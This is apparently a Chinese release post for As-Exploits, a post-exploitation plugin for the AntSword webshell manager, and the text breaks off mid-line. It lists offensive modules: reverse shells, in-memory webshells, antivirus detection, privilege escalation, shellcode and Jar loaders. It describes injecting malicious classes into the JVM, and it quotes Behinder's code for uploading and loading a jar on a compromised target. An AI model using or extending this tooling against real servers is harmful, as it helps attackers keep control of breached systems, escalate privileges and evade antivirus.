前言
As-Exploits,中国蚁剑后渗透模块。
目前插件的定位是蚁剑的一个微内核拓展模块,可以迅速做到payload的工程化,不用过多时间浪费在插件的结构上。目前的As-Exlpoits各部分之间基本做到了解耦,新增一个payload只需要两步:1.填写payload,2. 画一个表单。其余发包,回显处理等事情框架会自动帮你实现。想要自定义的话只需要继承父类然后重写对应方法即可。
其中Payload部分很多借鉴了冰蝎跟哥斯拉的实现,向其开发者们表示感谢!
支持列表
模块名称\Shell类型 | PHP | ASPX | JSP |
---|---|---|---|
基本信息 | √ | √ | √ |
反弹Shell | √ | √ | √ |
内存马 | √ | ||
内存马管理 | √ | ||
杀软识别 | √ | √ | √ |
提权辅助 | √ | √ | √ |
屏幕截图 | √ | √ | |
ShellCode加载器 | √ | ||
Jar加载器 | √ |
本次更新主要内容
aspx增加屏幕截图
模块
我打我自己
当然实战中需要较高权限。

因为在Jscript加载Assembly踩坑记里面解决了Jscript加载c#的问题,所以C#的payload理论上都可以加进去,更多其他的用法就看大家自己发挥了
jsp增加Jar加载器
模块
打一个jar进去通常有两个用处:
一是可以用来上传数据库驱动。
二是把恶意类打入JVM中,后续只需要通过反射调用即可。哥斯拉的实现方式就是第一次就把所有的payload打入jvm中,后续通过反射调用。所以后续通信的流量包都非常的小,只需要传递参数即可。
冰蝎跟哥斯拉都有类似的功能,研究了一下他们的实现。
冰蝎
冰蝎的加载jar功能内嵌于数据库连接部分,仅用于上传数据库驱动。首先把要打入的jdbc上传到目标的临时目录,然后再用URLClassLoader去加载,这里贴一下代码。
net.rebeyond.behinder.ui.controller.DatabaseViewController#loadDriver
private void loadDriver(String scriptType, String databaseType) throws Exception {
String driverPath = "net/rebeyond/behinder/resource/driver/";
Platform.runLater(() -> {
this.statusLabel.setText("正在上传数据库驱动……");
});
String os = this.currentShellService.shellEntity.getString("os").toLowerCase();
//根据系统型号选择临时目录
String remoteDir = os.indexOf("windows") >= 0 ? "c:/windows/temp/" : "/tmp/";
String libName = null;
if (scriptType.equals("jsp")) { //根据类型选择数据库jdbc
if (databaseType.equals("sqlserver")) {
libName = "sqljdbc41.jar";
} else if (databaseType.equals("mysql")) {
libName = "mysql-connector-java-5.1.36.jar";
} else if (databaseType.equals("oracle")) {
libName = "ojdbc5.jar";
}
} else if (scriptType.equals("aspx")) {
if (databaseType.equals("mysql")) {
libName = "mysql.data.dll";
} else if (databaseType.equals("oracle")) {
libName = "Oracle.ManagedDataAccess.dll";
}
}
byte[] driverFileContent = Utils.getResourceData(driverPath + libName);
String remotePath = remoteDir + libName;
//将jar先上传到临时目录
this.currentShellService.uploadFile(remotePath, driverFileContent, true);
Platform.runLater(() -> {
this.statusLabel.setText("驱动上传成功,正在加载驱动……");
});
//将libPath传递给服务端加载
JSONObject loadRes = this.currentShellService.loadJar(remotePath);
if (loadRes.getString(&#